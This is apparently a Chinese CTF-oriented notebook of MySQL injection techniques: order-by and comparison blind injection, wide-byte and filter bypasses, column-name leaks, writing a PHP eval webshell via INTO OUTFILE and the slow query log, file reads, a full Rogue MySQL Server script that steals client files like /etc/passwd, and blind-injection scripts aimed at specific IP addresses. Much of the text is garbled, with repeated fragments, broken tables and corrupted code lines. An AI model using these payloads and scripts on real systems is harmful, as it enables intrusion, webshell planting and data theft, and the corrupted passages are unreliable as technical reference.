    order by 的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),其排序比较字符的ascii码大小,从第一位开始比较,第一位相同时比较下一位。

    例如,我们按照第三列进行排序

    #假设第三列会显示在网页上
    ##显示A
    mysql> select 1,2,'A' union select * from users order by 3;
    +----+----------+------------+
    | 1  | 2        | A          |
    +----+----------+------------+
    |  1 | 2        | A          |8 | admin    | admin      |   |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 14 | admin4   | admin4     |
    |  4 | secure   |e   |   |  | |||
    |  1 | Dumb     | Dumb       |
    | 12 | dhakka  umbo      |
    |  6 | superman | genious    |
    |  2 | Angelina | II-kill-you |
    |  7 | batman   | mob!le     |
    |  3 | Dummy    | p@ssword   |
    |  5 | stupid   | stupidity  |
    +----+----------+--------s in set (0.00 sec)
    mysql> select 1,2,'b' union select * fect eect * from users order by 3;
    +----+----------+------------+
    | 1  | 2        | b     |
    +----+----------+------------+
    |  8 | admin    | admin      |    |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 14 | admin4   | admin4     |
    |  1 | 2        | b          |
    |  4 | secure   | crappy     |
    |  1 | Dumb     | Dumb       |
    | 12 | dhakkan  | dumbo      |
    |  6 | superman | genious    |
    |  2 | Angelina | I-kill-you |
    |  7 | batman   | mob!le     |
    |  3 | Dummy    | p@ssword   |
    |  5 | stupid   | stupidity  |
    +----+----------+------------+
    14 rows in set (0.00 sec)

    我们可以根据这个特点进行盲注

    例如iscc2019的一道题,网页只显示第二列的数据

    image-20191209100610761

    我们就可以使用order by盲注一位一位的测出数据

    例如:

     mysql> select * from users where username='Dumb' union select 1,2,'D' order by 3;
    +----+--------- ur ure ue u uuDumb' union select 1' orde |
    +----+----------+----------+
    |  1 | 2        | D        |
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    2 ro-+
    2 ro+
    2 ro
    2 ro
    2 ro2 ro roroo2 ro roroo0.00 sec)
    
    qle='Dumb' union select 1,2,'Du' order by 3;
    +--- ure ue u uuDumb' union select 1,2,'Du' order by 3;
    +----+-------------------------------------------+----------+
    2 rows in set (0.00 sec)
    
    mysql> select * from users where username='Dumb' union select 1,2,'Dv' order by 3;
    +----+----------+----------+
    | id | username | password -+----------+----------+
    |  1 | Dumb     | Dumb     |
    |  1 | 2 | | 2        | Dv       |
    +----+----------+----------+
    2 rows in set (0.00 sec)

    在查询到Dv时出现了变化,网页上的内容也改变了,于是,我们就可以知道password的第二位为v的前一个字母

    那个题目的脚本:

    import requeequests.session()
    url = 'http://39.100.83.188:8054/'
    data = {"usta = {"username":"union_= {"User-Agent":"Union.37 Union.373"}
    flag = ''
    for j= ''
    = '= '= ''
    for j in range(15):#当最后print的flag值无变化时注入完成。此值不一定为15,根据flag长度调整
        for i in range(33,127):#不要使用字典
            data["password"]="*/ union select 1,2,'{0}{1}' order by 3,'".format(flag,chr(i))
            web = s.post(url,data=data,headers=headers)
            if 'union_373_Tom' in str(web.content,encododd'utf8'):#直接web.text会出现编码问题,所以没那么写
                flag += chr(i--1)
                print('flag:'+flag)
                j+=1
                break

    过滤引号绕过

    宽字节注入,其他没办法了,好好看看题

    %bf%27 %df%27 %aa%27

    GBK 占用两字节

      ASCII占用一字节

      PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

      输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

      %DF’ :会被PHP当中的addslashes函数转义为“%DF\'”“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗

    例如:http://www.xxx.com/login.php?user=%df' or 1=1 limit 1,1%23&pass=

    字符串可用十六进制表示、也可通过进制转换函数表示成其他进制

    其对应的sql就是:

    select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

    过滤逗号绕过

    #替换有关函数
    substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4
    #利用join
    union select 1,2,3;
    union select * from ((select 1)A join (select 2)B join (select 3)C);
    union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

    过滤数字绕过

    使用conv([10-36],10,36)可以实现所有字符的表示

    代替字符 代替字符 数\ 字母 代替字符 数\ 字母
    false、!pi() 0 ceil(pi()*pi()) 10\ A ceil((pi()+pi())*pi()) 20\ K
    true、!(!pi()) 1 ceil(pi()*pi())+true 11\ B ceil(ceil(pi())*version()) 21\ L
    true+true 2 ceiil(pi()+pil(pi()+p(pi()+ppi()+p(pi()+ppi()+pi()+p()+p)+p+ppop+ppp+ppon() M
    floor(pi())、~~pi() 3 floor(pi()*pi()+pi()) 13\ D ceil((pi()+ceil(pi()))*pi()) 23\ N
    ceil(pi()) 4 ceil(pi()*pi()+pi()) 14\ E ceil(pi())*ceil(version()) 24\ O
    floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15\ F floor(pi()*(version()+pi())) 25\ P
    ceil(version()) 6 floor(pi()*version()) 16\ G floor(version()*version()) 26\ Q
    ceil(pi()+pi()) 7 ceil(pi()*version()) 17\ H ceil(version()*version()) 27\ R
    floor(pi()) 8 ceil(pi()*version())+true 18\ I ceil(pi()pi()pi()-pi()) 28\ S
    floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19\ J floor(pi()pi()floor(pi())) 29\ T

    过滤关键字and、or

    and => &&(%26%26)
    or => ||
    #直接拼接等号
    mysql> select * from users where id=1=if(1,1,0);
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.04 sec)
    #使用^
    mysql> select * from users where id=1^if(1,1,0);
    Empty set
    
    mysql> select * from users where id=1^------+----------+
    | id | username | password |
    +word |
    +worwword |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.04 sec)
    
    mysql> select 1^1;
    +-----+
    | 1^1 |
    +-----+
    |   0 |
    +-----+
    1 row in set (0.04 sec)
    
    mysql> select 1^0;
    +-----+
    | 1^0 |
    +-----+
    +
    
    
      1 |
    +-----+
    1 row in set (0.04 sec)

    过滤关键字st

    过滤了select一般就只能注同一个表的数据了,列名还得猜

    基本是别想注出东西了

    mysql> select * from users where id='' or if(substr((select group_concat(password)),1,1)='d',1,0);
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    | 12 | dhakkan  | dumbo    |
    +----+----------+----------+
    2 rows in set (0.06 sec)

    过滤关键字information_schema等

    过滤这些关键字时我们一般无法通过常用方法获取表名,列名

    先是用骚操作获取表名的方法:

    以下大部分特殊数据库都是在mysql5.7以后的版本才有,访问sys数据库需要有相应权限

    获取列名的方法见无列名注入

    -- 总结
    ---- 爆表
    `sys`.`x$innodb_buffer_stats_by_table`
    `sys`.`x$schema_flattened_keys`
    `sys`.`x$ps_schema_table_statistics_io`
    `sys`.`x$schema_index_statistics`
    `sys`.`x$schema_table_statistics`
    `sys`.`x$schema_table_statistics_with_buffer`
    `sys`.`io_global_by_file_by_bytes`
    mysql.innodb_table_stats
    mysql.innodb_index_stats
    ---- 查看历史语句
    mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
    +-------------------------------------------------------------------+
    | query           -------------------------------+
    | query                     ----------------- -------tytytyyyyyyy                             tyyytytyitytytytyyyyyyy           |
    | SHOW CREATE TABLE `security` . `emails`ils`ls`ls`ls`s`ls``ls`ls`   EEs`   EE   EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE                                                     |
    |
    
    |
    
    
    |
    
    
    
    |
    
    
    
    |
    
    |
    |
    | SHOW CREATE TABLLLLLLLLLLLLE `security` . `referers`                              |||| ||||| |||||| |||||||||||||||||||||||||||||
    | ----------------------------------------------------ssisiissssss` wher` wherr` wherrr` wh` whh` whhh` where QUEhere            e QUERY REGEXP DATABASE();
    +------------------------ wher` r` where` where QUERY REGEXP DATABASE();
    +-------------------------          |
    +---------------------------------------         |
    +---------------------------------- SSSSSSSSSSSS S S- S       S     SS        |
    | SHOW CREATE TABLE `security` . `email. `ema. `e. `emails`                   |
    | SHOW CREATE TABLE `security` . `users`                    |
    | SHOW CREATE TABLE `security` . `referers`                 |
    | SELECT * FROM `secrity` . `users` LIMIT ?                |
    | SHOW CREATE TABLE `ssecurity` . `ty` . `y` . `` . `. ` ``                 |
    | SHOW CREATE PROCEDU `select_first_column`  |
    | SHOW CREATE TABLE `security` . `users`                    |
    | SHOW OPEN TABLES FROM `security` WHERE `in_use` != ?      |
    | SHOW TRIGGERS FROM `security`                             |
    | USE `security`                                            |
    | USE `security`                                            |
    +------------------------------------------------------in set (0.01 sec)
    innodb

    如果数据库的数据
    如果

    如果数据库的数据表的引擎为innodb,则会在mysql.innodb_table_stats

    mysql.innodb_index_stats中记录表的信息

    image-20191208222837051

    image-20191208222907558

    sys数据库

    里面存储整合了整个数据库的许多资料,,资料用处暂且不提,从中我们可以获取大部分数据库名和表名

    例如:sys.schema_table_statistics_with_buffer

    存储了所有数据库的表名

    image-20191208223831985

    还有:sys.schema_object_overview

    存储了所有数据库名

    image-20191208223954326

    更有趣的:statement_analysis

    记录了我们执行过的所有语句

    说不定能直接看到flag(笑)

    image-20191208224135535

    image-20191208224256131

    过滤其他关键字

    #使用同义语句
    例如if与
    case when condition then 1 else 0 end
    substr与
    substring()
    lpad(user(),2,1) = ro
    rpad(user(),2,1) = ro
    left(user(),2) = ro
    mid(user(),1,1) = r
    mid(user(),2,1) = o
    以及这个神奇的东西
    mysql> select insert(insert(user(),1,0,space(0)),2,222,space(0));
    +----------------------------------------------------+
    | insert(insert(user(),1,0,space(0)),2,222,space(0)) |
    +----------------------------------------------------+
    | r                         |
    +------------+
    1 row in set (0.05 sec)
    
    mysql> select insert(insert(user()),1,1,space(0)),2,222,space(0));
    +----------------------------------------------------+
    | insert(insert(user(),1,1,space(0)),2,222,space(0)) |
    +----------------------------------------------------+
    | o                                                  |
    +----0.04 sec)
    
    mysql> select insert(insert(user(),1,2,space(0)),2,222,space(0));
    +----------------------------------------------------+
    | insert(insert(user(),1,2,space(0)),2,222,space(0)) |
    +----------------------------------------------------+
    | o                                                  |
    +)
        |
    +)
      |
    +)
     |
    +)
    |
    +)
    
    +)
    +)
    )
    
    mm4 sec)4 se4 see4 sesee4 s4    4 sec)
    
    mysql> select insert(insert(user(),1,3,space(0)),2,222,space(0));
    +----------------------------------------------------+
    | insert(insert(user(),1,3,space(0)),2,222,space(0)) |
    +----------------------------------------------------+
    | t                                                  |
    +----------------------------------------------------+
    1 row in set (0.04 sec)

    无列名注入

    然后是获取列名

    通过join报错获取列名

    先介绍下join的作用机理:

    如果现在有两个表stu和class

    20191112210318957

    20191112210318957

    我们执行stu join class后,结果为:

    image-20191209085705203

    通过上面的例子总结一下:

    • join后的列名是两个表列名加起来的,可能会产生相同的列名,如id 和 name
    • 先用表stu中的一行数据和表class中的每一行数据不断的拼接,产生新的行
    • 再用表stu的第二行去和表class中的每一行数据拼接,以此类推
    • 表stu是3行,表class是2行,所以按照上面的规律会产成3*2 = 6行的新的表

    然后再来看下别名

    使用别名时,表中不能出现同的字段名,这就跟join第一个特点相冲突,所以在join和别名同时使用时会导致报错

    mysql> select * from (select * from users join users as a) as b;
    ERROR 1060 (42S21): Duplicate column name 'id'

    使用using可以爆其他字段

    mysql> select * from (select * from users join users as b using(id)) as c;
    ERROR 1060 (42S21): Duplicate column name 'username'

    使用子查询绕过列名

    我们可以在不知道列名的情况下查询出数据

    即用子查询把列名覆盖掉(得先测出这个表有多少列)

    mysql> select 1,2,3 union select * from users;
    +----+----------+------------+
    | 1  | 2        | 3          |
    +----+----------+------------+
    |  1 | 2        | 3          |
    |  1 | Dumb Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    |     | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin4   | admin4     |
    +----+----------+------------+
    14 rows in set (0.00 sec)

    这样我们就可以用自己构造的列名查询数据了

    mysql> select a.3 from (select 1,2,3 union select * from users) as a;
    +------------+
    | 3          |
    +-----+
    | 3          |
    | Dumb       |
    | I-kill-you |
    | p@ssword  orord   |
    | crappy     |
    | stupidity  |
    | genious    |
    | mob!le     |
    | admin     |
    | admin2     |
    | admin3     |
    | dudmin3     |
    | dumbo      |
    | admin4     |
    +------------+
    14 rows in set (0.00 sec)

    也可以这样:

    mysql> select `3` rom (select 1,2,3 union select * from users) as a;
    +-----------word   |
    | crappy     |
    | stupidity  |
    | genious    |
    | mob!le     |
    | admin         |
    | ad    |
    | ad   |
    | ad |
    | ad|
    | ad |
    | ad|
    | ad
    | adad
    |aad
    | ad| ad adadd|
    | -----+
    14 row  |
    | admin2     |
    |3     |
    | dumbo      |
    | admin4     |
    +------------+
    14 rows in ws in set (0.00 sec)

    生僻函数报错出表名

    mysql> select * from users where id=1 and Polygon(id);
    ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`id`' value found during parsing
    
    /*同理,还有
    linestring()
    multiPolygon(id)
    multilinestring(id)
    GeometryCollection(id)
    MultiPoint(id)
    */

    order by盲注

    union…select 被过滤

    第一个方法是使用上面写的子查询绕过列名,或者使用特殊函数报错出列名

    但是当union和select不能一起使用时,可以用以下方法

    mysql> select * from users;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-love-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin   dmin   min   in         admin1     |
    | 10 | admin2   | admin-+--+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | dumbo      |
    | 14 | admin4   | admin4     |
    +----+----------+------------+
    13 rows in set (0.00 sec)
    
    #注意mysql中比较默认不区别大小写,所以c的ascii码小于d的
    mysql> select (select 1,'c') > (select id,username from users limit 0,1);
    +--------1,'c') > (select id,username from usrom from om m  it 0,1) |
    +----------------------------------------------------+
    |                                        ----------------------------------(0.00 sec)
    #id=2大于右面的id=1
    mysql> select (select 2,'c') > (select id,username from users limit 0,1);
    | (select 2,'c') > (select id,username from users limit 0,1) |
    |                                                          1 |
    +--------------------------------------------------------+
    1 r
    1 row in set (0.01 sec)
    #e的ascii码大于d
    mysql> select (select 1,'e') > (select id,username from users limit 0,1);
    +--------------------------------------+
    | (select 1,'e')                       > (select id,username from users limit 0,1) |
    +---------
    ----
    ---
    --
    -
    --
    -
    -
    -
    
    -
    -
    
    --
    -
    
    -
    -
    -
    
    -
    
    -
    
    -
    -
    
    -
    
    
    -
    
    -
          
                                               1 |
    +----------- (0.00 sec)
    #比较第二位
    mysql> select (select 1,'du') > (select id,-------------------------------+
    | (select 1,'du') > (select id,username from e from  from from om m  it 0,1) |
    +--------------------------------------u') ---u') --u') -u') u') > l                                          0 |
    +----------0----00  ---00  --00  -00  00  0.00   0.00 0.00  0.00   0.00    0  00.00 sec)
    
    mysql> select select 1,'dv') > (select id,username  ername  rname  name  ame   me  e     0..0.0.00 sec)
    
    mysql> selsus------------------+
    | (select 1,'dv') > (select id,user,userserusersersersererserrsersermi liermi lirmi i limieimi--i-- 1u,u--------------------+
    |                                                              1 |
    +-------------------------------------------------------------+
    1 row in set (0.00 sec)
    #区分大小写
    mysql> select (select 1,binary('du')) > (select d,username from users limit 0,1);
    +------------------------------------------------------------+
    | (select | (select 1,binary('du')) > (select id,username from users limit 0,1) |
    +| 0,1) |
    +|0,1) |
    +|,1) |
    +|) |
    +| |
    +||
    +|
    +|+||
    +---+
    +---++---   ++
    |     +
    |    +
    |   +
    |  +
    | +
    | 
    | |                              111 |
    + |
    +
    1 |
    +
    1 
    +
    1 +
    1 
    1 r-+
    1 rr-+
    1 r rr-+
    1 rr rr-+
    -+
    
    -+
    
    
    
    
    
    --+
    1 row in set (0.00 sec)
    
    mysql> select (select 1,binary('Du')) > (select id,username from users limit 0,1);
    +0,1);
    +,1);
    +1);
    +;
    +
    ++;
    +;
    
    +;
    +;
    ;
    ++-ryy
    ++-ryy++-ryy+-ryyybnnnnninninnnbinininbinary('Du'))Du'))'Du'))('Du'))y('Du'))ry('Du'))ary('Du'))ry('Du'))y('Du'))('
    +---------------------------------------------------------------------+
    1 row in set (0.00sec)
    #如果in被过滤了
    #当一个字符串连接一个二进制的值时CONCAT("aa", BINARY("BB")),其得到到的也将是二进制。因此我需要找到一个方法,将一个二进制字符串插入CONCAT函数中。
    #经过反复试验,我终于发现MySQL中的JSON对象是二进制)))也会返回)也会返回回)也会返回回回)也会返回回回回)也会)也会会)也会会会)也会会会会)也会会会会会)也会会会会会会)也会会也会也会)也会返回一个二进制字符串。
    mysql> select (select 1,concat('du',cast(0 as json))) > (select id,username from users limit 0,1);
    0,1);
    ----,1);
    ----1);
    ----;
    ----
    -----------------------------------------------------+
    | (select 1,concat('du',cast(0 as json))) > (select lobal variables like 'secure_file_priv';------------------------ile_rur-----------------------------+
    |                   1   11   111   111     1 |
    +-------------------------------------------------------------------------------------+
    1 row in set (0.00 sec)
    
    mysql> select (select 1,concat('Du',cast(0 as json))) > (select id,username from users limit 0,1);
    +-------------------------------------------------------------------------------------+
    | (select 1,concat('Du',cast(0 as json))) > (select id,username from users limit 0,1) |
    +------------------,username from users limit 0,1) |
    +------------------------                                                                                              0 |
    +--------------------------------------------------+
    1 row in set (0.00.000.00 00 .00 00  .000000000000.00  .00 00 .00 00 00 00 0 00  00 00 -----0 ----- ---------------------1 .0.t t t   `into outfile`写文件
    - 利用日志写文件
    - 备份数据库写文件?
    - 利用`load_file()`读文件
    - 利用`load data infile()`读文件
    
    ### 写文件功能
    
    #### 1、需要的权限
    
    - 目标目录要有可写权限
    - 当前数据库用户要有FILE权限
    - 目标文件不能已存在
    - secure_file_priv的值为空
    - 路径完整
    
    > `secure_file_priv`ecure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILEEEEEEEEE()传到哪个指定目录的。
    >
    > 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
    >
    > 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    >
    > 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
    >
    > 在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL
    
    **`secure_file_priv`值查看和修改**
    
    mysql> show global variables like 'secure_priv';---------------------------------------------------+
    1 r
    
    1 row in set (0.00 se |
    +------------------+-------+
    | secure_file_priv | NULL  |
    +------------------+-------+
    1 row in set (0.00 sec)

    注入的时候也可以通过全局变量查询该值的值

    select+@@GLOBAL.slow_query_log

    1565938389838

    修改:

    win和linux下都是在配置文件中的[mysqld]选项下加入secure_file_priv =

    加上后再查找的效果是这样的

    mysql> show global variables like '%secure%';
    +------------------+-------+
    | Variable_name    | Value |
    +------------------+-------+
    | secure_file_priv |       |
    +------------------+-------+
    2 rows in set (0.00 sec)

    2、into outfile写文件

    语句

    select "<?php eval($_POST[rayi]); ?>" into outfile "/var/www/html/rayi.php";

    如果权限配置没有问题的话,网站根目录下就会多出一个1.php,内容为我们写的代码。

    3、日志写文件

    mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志

    *我们主要利用慢查询日志来写shell,步骤大致分为三步

    1)设置slow_query_log=1.即启用慢查询日志(默认禁用)。

    mysql>  show variables like '%slow_query_log%';
    +----------------+-------+
    | Variable_name  | Value |
    +----------------+-------+
    | slow_query_log | ON    |
    +----------------+-------+
    1 row in set (0.00 sec)

    利用堆叠注入,执行开启慢查询日志的语句

    set global slow_query_log=1;

    现在看一下,慢查询日志已经被开启了

    mysql> show variables like '%slow_query_log%';
    +----------------+-------+
    | Variable_name  | Value |
    +----------------+-------+
    | slow_query_log | ON    |
    +----------------+-------+
    1 row in set (0.00 sec)

    2)伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

    set global slow_query_log_file='dir/filename'

    mysql> show variables like '%slow_query_log%';
    +---------------------+-----------------------------+
    | Variable_name       | Value                       |
    +---------------------+-----------------------------+
    | slow_query_log      | ON                      | slow_query_log_file | /www/wwwroot/html/shell.php |
    +---------------------------+-----------------------------+
    2 rows in set (0.00 sec)

    3)向日志文件写入shell

    读文件功能

    1、load_file读取文件

    同样需要修改secure_file_priv参数

    shell.php中内容为123

    load_file('/www/wwwroot/html/shell.php')

    2、load data infile()读文件

    同样需要修改secure_file_priv参数

    load data infile '文件名' into table 表名

    1565927856673

    1565927896690

    文件内容被读入了id这一列中

    文件过大可以用hex()函数转为16进制

    Rogue-MySql-Server任意文件读取

    简单介绍,就是利用Python脚本把自己伪造成一个mysql服务器

    当有客户端连接时,客户端会先发送一个请求连接,我们可以发送回一个允许所有用户连接的数据包,这时候,客户端就以为自己连接上了我们这个假的服务器

    这时候,如果客户端再发送一个查询语句(什么都可以)的时候,我们就可以返回一个需要本地文件的请求(基于mysql load data local infile语句,即读取客户端本地文件),要求客户端读取本地的文件。

    正常情况:

    客户端: hi~ 我能查询下xxx吗
    服务端: OK,我在查询,这是结果
    客户端: 好的

    被恶意服务器篡改的情况:

    客户端: hi~ 我能查询下xxx吗
    服务端: OK,读取你本地的user.txt文件发给我
    客户端: 这是文件内容: usename:password

    流程:

    • 向mysql client发送Server greeting包

    • 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)

    • 等待 Client 端发送一个Query Package

    • 回复一个file transfer请求

    以上数据包可以通过国wireshark抓包获取

    exp

    使用时,修改端口或者需要读取的文件,然后运行,会在当前目录下生成mysql.log,当开启了 –enable-local-infile的客户端连接时,就能读取到客户端的文件

    #!/usr/bin/env python2
    #coding: utf8
    
    
    import socket
    import asyncore
    import asynchat
    import struct
    import random
    import logging
    import logging.handlers
    
    
    
    PORT = 3306
    
    log = logging.getLogger(__name__)
    
    log.setLevel(logging.INFO)
    tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
    tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
    log.addHandler(
        tmp_format
    )
    
    filelist = (
        '/etc/passwd',
    )
    
    
    #================================================
    #=======No need to change after this lines=======
    #================================================
    
    __author__ = 'Gifts'
    
    def daemonize():
        import os, warnings
        if os.name != 'posix':
            warnings.warn('Cant create daemon on non-posix system')
            return
    
        if os.fork(): os._exit(0)
        os.setsid()
        if os.fork(): os._exit(0)
        os.umask(0o022)
        null=os.open('/dev/null', os.O_RDWR)
        for i in xrange(3):
            try:
                os.dup2(null, i)
            except OSError as e:
                if e.errno != 9: raise
        os.close(null)
    
    
    class LastPacket(Exception):
        pass
    
    
    class OutOfOrder(Exception):
        pass
    
    
    class mysql_packet(object):
        packet_header = struct.Struct('<Hbb')
        packet_header_long = struct.Struct('<Hbbb')
        def __init__(self, packet_type, payload):
            if isinstance(packet_type, mysql_packet):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload
    
        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
    
            result = "{0}{1}".format(
                header,
                self.payload
            )
            return result
    
        def __repr__(self):
            return repr(str(self))
    
        @staticmethod
        def parse(raw_data):
            packet_num = ord(raw_data[0])
            payload = raw_data[1:]
    
            return mysql_packet(packet_num, payload)
    
    
    class http_request_handler(asynchat.async_chat):
    
        def __init__(self, addr):
            asynchat.async_chat.__init__(self, sock=addr[0])
            self.a
            self.ibuffer = []
            self.set_terminatonator(3)nnator(3)
            self.state = 'LEN'
            self.sub_state = 'Auth'
           gined = False
            self.push(
                mysql_packet(
    ketket(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '5.6.28-0ubuntu0.14.04.1' + '\0',
                        '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                    ))            )
            )
    
            self.order = 1
            self.states = ['LOGIN', 'CAPS', 'ANY']
    
        def push(self, data):
            log.debug('Pushed: %r', data)
            data = str(data)
            asynchat.async_chat.push(self, data)
    
        def collect_incoming_data(self, data):
            log.debug('Data recved: %r', data)
            self.ibuffer.append(data)
    
        def found_terminator(self):
            data = "".join(self.ibuffer)
            self.ibuffer = []
    
            if self.state == 'LEN':
                len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = 'Data'
                else:
                    self.state = 'MoreLength'
            elif self.state == 'MoreLength':
                if data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = 'Data'
            elif self.state == 'Data':
                packet = mysql_packet.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
             packet.packet_num == 0:
                        if packet.pay.pa.p..payload[0] == '\x03':
                            log.info('Query')
    
                            filename = random.choice(filelist)
                            PACKET = mysql_packet(
                                packet,
                                '\xFB{0}'.format(filename)
                            )
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.sub_state = 'File'
                            self.push(PACKET)
                        elif packet.payload[0] == '\x1b':
                            log.info('SelectDB')
                            self.push(mysql_packet(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(mysql_packet(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                       else:
                            raise ValueError()
                     else:
                        if self.sub_state == 'File':
                           log.info('-- result')
                            logg.info('Result: %r', data)
    
                            if len(data) == 1:
                                self.push(
                                    mysql_packet(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = 'LEN'
                                self.order = packet.packet_num + 1
    
                        elif self.sub_state == 'Auth':
                            self.push(mysql_packet(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise LastPacket()
                        else:
                            log.info('-- else')
                            raise ValueError('Unknown packet')
                except LastPacket:
                    log.info('Last packet')
                    self.state = 'LEN'
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except OutOfOrder:
                    log.warning('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                log.error('Unknown state')
                self.push('None')
                self.close_when_done()
    
    
    class mysql_listener(asyncore.dispatcher):
        def __init__(self, sock=None):
            asyncore.dispatcher.__i_ii_(self, sock)
    
            if not sock:
                self.creatte_socket(socket.AF_INET, socket.SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', PORT))
                except socket.error:
                    exit()
    
                self.listen(5)
    
        def handle_accept(self):
            pair = self.accept()
    
            if pair is not None:
                log.info('Conn from: %r', pair[1])
                tmp = http_request_handler(pair)
    
    
    z = mysql_listener()
    # daemonize()
    asyncore.loop()

    image-20200312113033290

    使用的题目:

    2020高效战疫赛

    ![imimmimages/640.webp)

    .mysql.history

    不算是注入

    但是跟数据库沾边

    先记下来

    .mysql.history里面记录了使用过的mysql命令

    注入脚本

    import requests
    import threading
    import time
    import string
    url = "http://139.199.182.61/index.php?id=0%27/**/union/**/seleselectct/**/if(ascii(substr((selselectect/**/group_concat(fl4444444g)/**/from/**/f1aggggggggggggg),{id},1))=%27{payload}%27,1,0)/**/and/**/%272%27=%272"
    
    class myThread (threading.Thread):
    	#初始化
    	def __init__(self,id,payload,url):
    		threading.Thread.__init__(self)
    		self.payload = payload
    		self.url = url
    		self.id = id
    
    	#执行的函数
    	def run(self):
    		time.sleep(1)
    		url = self.url.format(id=self.id,payload=self.payload)
    		#print(url)
    		try:
    			web = requests.get(url,timeout=10)
    			#print(web.text)
    			if "<h2>1</h2>" in web.text:
    				print(chr(self.payload))
    		except Exception as e:
    			print(str(e))
    
    for i in range(46):
    	threads = []
    	k=0
    	for j in range(31,127):
    		thread = myThread(str(i),j,url)
    		threads.append(thread)
    	for j in threads:
    		k +=1
    		j.start()
    		if k > 45:
    			time.sleep(0.5)
    			k=0

    非类版

    import requests
    import time
    import threading
    import string
    
    s1=threading.Semaphore(10)                                         #这儿设置最大的线程数
    def get_content(pos):
        s1.acquire()                                             
        url = 'http://dea68fbf-200b-4c63-8fc4-b8628f098226.node3.buuoj.cn/index.php'
        payload = "(ascii(substr((select(flag)from(flag)),{0},1))={1})"
        for i in string.printable:
            data = {
                'id':payload.format(str(pos),ord(i))
            }
            web = requests.post(url,data)
            if 'glzjin' in web.text:
                print(str(pos),i)
                break
            time.sleep(0.5)
    
        s1.release()
    
    for i in range(1,60):                                                         #加入多线程
